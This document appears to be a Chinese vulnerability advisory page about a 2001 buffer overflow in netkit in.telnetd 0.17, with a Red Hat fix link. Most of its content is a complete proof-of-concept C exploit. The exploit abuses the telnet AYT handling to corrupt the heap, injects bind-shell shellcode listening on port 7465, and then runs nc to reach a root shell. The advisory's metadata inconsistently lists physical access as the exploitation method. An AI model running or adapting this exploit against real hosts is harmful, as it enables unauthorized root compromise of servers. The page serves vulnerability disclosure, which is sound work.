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netkit <=0.17 in.telnetd 存在缓冲溢出漏洞


发布时间:2001-08-10
更新时间:2001-08-10
严重程度:
威胁程度:远程管理员权限
错误类型:输入验证错误
利用方式:物理接触

受影响系统
netkit <=0.17 in.telnetd
详细描述
in.telnetd守护程序存在远程缓冲溢出,可以让远程攻击者获得ROOT权利的访问。

测试代码
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <fcntl.h>

/*********************************************************************
       Proof of concept netkit-0.17-7 local root exploit.

Exploits buffer overflow in the AYT handling of in.telnetd,
due to bad logic in the handling of snprintf(), and

      TESO advisory details were enough to allow me to put
        controlable addresses in arbitary heap locations.

    Heap based exploit. Overflow allows rewriting of some heap
     data, which allowed me to put a new heap structure in the
          input buffer, which let me do whatever I want.

'traceroute exploit story -  By Dvorak, Synnergy Networks' was very
helpful. Also malloc.c was good.

*********************************************************************/
/*
                         Notes about exploit                      

1) RedHat 7.0, exploiting localhost
2) hostname is clarity.local
3) It probably won't work without at least a different setting for
   the --size option, and probably the --name option as well. The
   --name arguemnt  is the hostname part of the string that gets
   returned by the AYT command, which may be different to the name
   of the address you are connecting to..
4) There are a lot of things that use the heap, making the size
   depend on alot of factors.

5) You will might need to change some (or all) of the offsets.
   This program does allow you to brute force, if the hostname returned
   by the AYT command is not a multiple of 3 letters long.

It is also possibly (at least according to some quick testing I did)
exploitable on some (all?) servers with names that are multiples of three
letters long, using the Abort Output command to add 2 characters to the
output length, and exploit the heap in a similar manner to this method.

(You can only directly put user controlable characters in 2 out of 3
locations (ie: no AO will give you a multiple of 3 bytes on the heap, AO
will give you 2 more than a multiple of 3 bytes) with controllable
characters, but when you count the null added by the netoprintf(), and use
0 as an option to a do or will, you can sometimes create valid chunks that
point to locations you can control. I have only tested this method with a
simulation, but it seems it would probably work with the telnetd as well.
I will look into it when I have time. Maybe.)


                       .  .  _  _   _  _ .  .     _  _  _ .  .
|_  _|_ _|_  _ .  / / |\/| |_| _| |  | ||\/|  / |  | ||_ |  |
| |  |   |  |_|. / /  |  | |   _|.|_ |_||  | /  |_ |_| _| \/
             |
*********************************************************************/




#define SERVER_PORT 23

#define ENV 18628

int offset12[] = {
// netibuf[343]->the chunk start.
  -4, 0xaa,
  -5, 0xbb,
  -6, 0xcc,
  -7, 0x10,
  -9, 0xdd,
  -10, 0x68,
  -12, 0xee,
  -13, 0x88,
  -14, 0x99,
  0, 0x00
};

int offset3[]={
-1,0x00,
0,0
};

int *offsets=offset12;


int dalen = 0;
int big;
int small;
int mipl = 0;
int ninbufoffset;
char spinchars[] = "/|\\-";

char tosend[] = {
  0xff, 0xfd, 0x03, 0xff, 0xfb, 0x18, 0xff, 0xfb, 0x1f, 0xff, 0xfb, 0x20,
  0xff, 0xfb, 0x21, 0xff, 0xfb, 0x22, 0xff, 0xfb, 0x27, 0xff, 0xfd, 0x05,
  0xff, 0xfb, 0x23, 0
};

char lamagra_bind_code[] =
// the NOPs are my part... to jump over the modified places,
// without me having to take a look to see where they are.
// Modified to listen on 7465 == TAGS and work thru TELNET protocol.
  "\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
  "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
  "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
  "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
  "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
  "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
  "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
  "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x1d\x29\x89\x4d\xf0"
  "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
  "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
  "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
  "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
  "\x8d\x55\x0c\xcd\x80\xe8\xe3"
  "\xff\xff\xff\xff\xff\xff/bin/sh";

char *shellcode = lamagra_bind_code;

int sock;            /* fd for socket connection */
FILE *dasock;            /* for doing fprint et al   */
struct sockaddr_in server;    /* the server end of the socket  */
struct hostent *hp;        /* Return value from gethostbyname() */
char buf[40960];        /* Received data buffer */
char sock_buf[64 * 1024];    /* Received data buffer */

char daenv[10000];
char oldenv[10000];

extern int errno;
read_sock ()
{
  /* Prepare our buffer for a read and then read. */
  bzero (buf, sizeof (buf));
  if (read (sock, buf, sizeof (buf)) < 0)
    if (errno != 11)
      {
    perror ("! Socket read");
    exit (1);
      }
}

sock_setup ()
{
  int flags;
  int yes = 1;
  if ((sock = socket (AF_INET, SOCK_STREAM, 0)) < 0)
    {
      perror ("! Error making the socket\n");
      exit (1);
    }
  bzero ((char *) &server, sizeof (server));
  server.sin_family = AF_INET;
  if ((hp = gethostbyname ("localhost")) == NULL)
    {
      fprintf (stderr, "! localhost unknown??\n");
      exit (1);
    }
  bcopy (hp->h_addr, &server.sin_addr, hp->h_length);
  server.sin_port = htons ((u_short) SERVER_PORT);

  /* Try to connect */
  if (connect (sock, (struct sockaddr *) &server, sizeof (server)) < 0)
    {
      perror ("! Error connecting\n");
      exit (1);
    }

  dasock = (FILE *) fdopen (sock, "w+");
  if (!dasock)
    {
      perror ("! Bad fdopen happened");
      exit (1);
    }

/****************************************
Thanks to xphantom for the next 4 lines.
(which i don't need anymore   ;? )

  flags = fcntl(sock, F_GETFL, 0);
  flags |= O_NONBLOCK;
  fcntl(sock, F_SETFL, flags);
  if (setsockopt(sock, SOL_SOCKET, SO_OOBINLINE, &yes,sizeof(yes)) == -1) {
        perror("setsockopt");
        exit(1);
  }  
*****************************************/


  setbuffer (dasock, sock_buf, 64 * 1024);

}

do_iac (char c)
{
  putc (0xff, dasock);
  putc (c, dasock);
}

do_ayt ()
{
  do_iac (0xf6); // sets buffer length to 2
}

doo (char c)
{
  putc (255, dasock);
  putc (253, dasock);
  putc (c, dasock);
}
will (char c)
{
  putc (255, dasock);
  putc (251, dasock);
  putc (c, dasock);
}
wont (char c)
{
  putc (255, dasock);
  putc (252, dasock);
  putc (c, dasock);
}

void
solve (int remain)
{
  int x, y;
  big = -100;
  small = -100;
  for (x = 0; x < 120; x++)
    for (y = 2; y < 80; y++)
      {
    if (((y * 3) + (x * dalen)) == remain)
      {
        big = x;
        small = y;
        return;
      }
      }
      fprintf (stderr, "I still can't work it out.\n\n");
      exit (1);
}

push_clean ()
{
  int l;
  for (l = 0; l < 8192; l++)
    putc (0, dasock);    
}

push_heap_attack ()
{
  int l;
  int shaddr = 0x805c970;
  int overwrite = 0x08051e78;    // fopen
  int tosend[] = {
    0x805670eb,
    0x8,
    shaddr,
    shaddr,
    0x0,
    0x0,
    overwrite - 12,
    shaddr
  };
  fwrite (shellcode, strlen (shellcode), 1, dasock);
  for (l = strlen (shellcode); l < 289 + ninbufoffset; l++)
    putc (0, dasock);
  fwrite (tosend, 8, 4, dasock);
  fflush (dasock);
}

fill2 (int count, char with, int real)
{
  int l;
  int first, rest, find;

  first = (int) (count / dalen) - 10;
  rest = (int) (((count) % dalen) / 3) * 3;
  find = count - ((first * dalen) + (rest * 3));
  solve (find);
  first += big;
  rest += small;
  for (l = 0; l < first; l++)
    do_ayt ();
  for (l = 0; l < rest; l++)
    will (with);
  if (real == 1)
    {
      push_clean ();
    }
}

fill (int count, char with)
{
  fprintf (stderr, "  o Length %d char %d (%02x)\n",
       count, with & 0xff, with & 0xff);
  fflush (stderr);
  fill2 (8257, 'z', 0);        // first part
  fill2 (count - 8257, with, 1);    // do it for real
}

doenv (char *danam, char *daval)
{
  sprintf (daenv, "%c%c%c%c%c%s%c%s%c%c",
       /*  IAC   SB N-E IS VAR  name VAL value  IAC  SE  */
       255, 250, 39, 0, 0, danam, 1, daval, 255, 240);

  fwrite (daenv, 512, 1, dasock);
  fflush (dasock);
}

main (int argc, char *argv[])
{
  int br, l, dosleep = 0;
  int percent = 0;
  char spin;
  unsigned char w;
  bzero (oldenv, sizeof (oldenv));
  argv++;
  dalen = strlen ("clarity.local");
  while (argv[0])
    {
      if (!strcmp (argv[0], "--pause"))
    dosleep = 1;

      if (!strcmp (argv[0], "--size") && argv[1])
    {
      mipl = atoi (argv[1]);
      argv++;
    }

      if (!strcmp (argv[0], "--name") && argv[1])
    {
      dalen = strlen (argv[1]);
      argv++;
    }
      argv++;
    }
  fprintf (stderr, "  o MiPl of %4d  o NameLen of %2d\n", mipl, dalen);
  if(dalen%3==0)
  {
   offsets=offset3;
  }
  else
  {
   ninbufoffset = mipl % 8192;
   offsets[11] += 32 * (mipl - ninbufoffset) / 8192;
   if (offsets[11] > 255)
     {
       fprintf (stderr, "  ! MiPl too big.", mipl, dalen);
       exit (1);
     }
   }
  sock_setup ();
  if (dosleep)
    {
      system ("sleep 1;ps aux|grep in.telnetd|grep -v grep");
      sleep (8);
    }

  dalen += strlen ("\r\n[ : yes]\r\n");
  fprintf (stderr, "o Sending IAC WILL NEW-ENVIRONMENT...\n");
  fflush (stderr);
  doo (5);
  will (39);
  fflush (dasock);
  read_sock ();
  fprintf (stderr, "o Setting up environment vars...\n");
  fflush (stderr);
  will (1);
  push_clean ();
  doenv ("USER", "zen-parse");
  doenv ("TERM", "zen-parse");
  will (39);
  fflush (dasock);
  fprintf (stderr, "o Doing overflows...\n");
  fflush (stderr);
  for (br = 0; (offsets[br] || offsets[br + 1]); br += 2)
    {
      fill (mipl + ENV + offsets[br], offsets[br + 1]);
      fflush (dasock);
      usleep (100000);
      read_sock ();
    }
  fprintf (stderr, "o Overflows done...\n");
  fflush (stderr);
  push_clean ();

  fprintf (stderr, "o Sending IACs to start login process...\n");
  fflush (stderr);
  wont (24);
  wont (32);
  wont (35);
  fprintf (dasock, "%s", tosend);
  will (1);
  push_heap_attack ();
  sleep (1);
  fprintf (stderr, "o Attempting to lauch netcat to localhost rootshell\n");
  execlp ("nc", "nc", "-v", "localhost", "7465", 0);
  fprintf (stderr,
       "o If the exploit worked, there should be an open port on 7465.\n");
  fprintf (stderr, "  It is a root shell. You should probably close it.\n");
  fflush (stderr);
  sleep (60);
  exit (0);
}
/********************************************************************

Thanks to xphantom for the help with getting the some of the socket
stuff working properly. Erm. I didn't end up using that method, but
                         thanks anyway. ;]

This code is Copyright (c) 2001 zen-parse
Use and distribution is unlimited, provided the code is not modified.
If the code, including any of text is modified, that version may not
be redistrubuted.

********************************************************************/
/* ObPlug 4 My Band: gone platinum, Chapel of Stilled voices, from */
/********************************************************************
            Remember to visit Chapel of Stilled Voices:
                                 _                 _     _ .  .
   |_  _|_ _|_  _ .  / /.  .  _  _|  _  _ .  .  / |   _ |_ |  |
   | |  |   |  |_|. / / |\/| |_| _|.|_ |_||\/| /  |_ |_| _| \/
  - - - - - - -|- - - - - - -|- - - - - - - - - - - - - - - - - -
               |             |
If there is anything below the next line someone is not following the
rules.  --zen-parse
************************************END*****************************/

解决方案
https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=50335
ftp://people.redhat.com/harald/telnet-0.17-16.src.rpm

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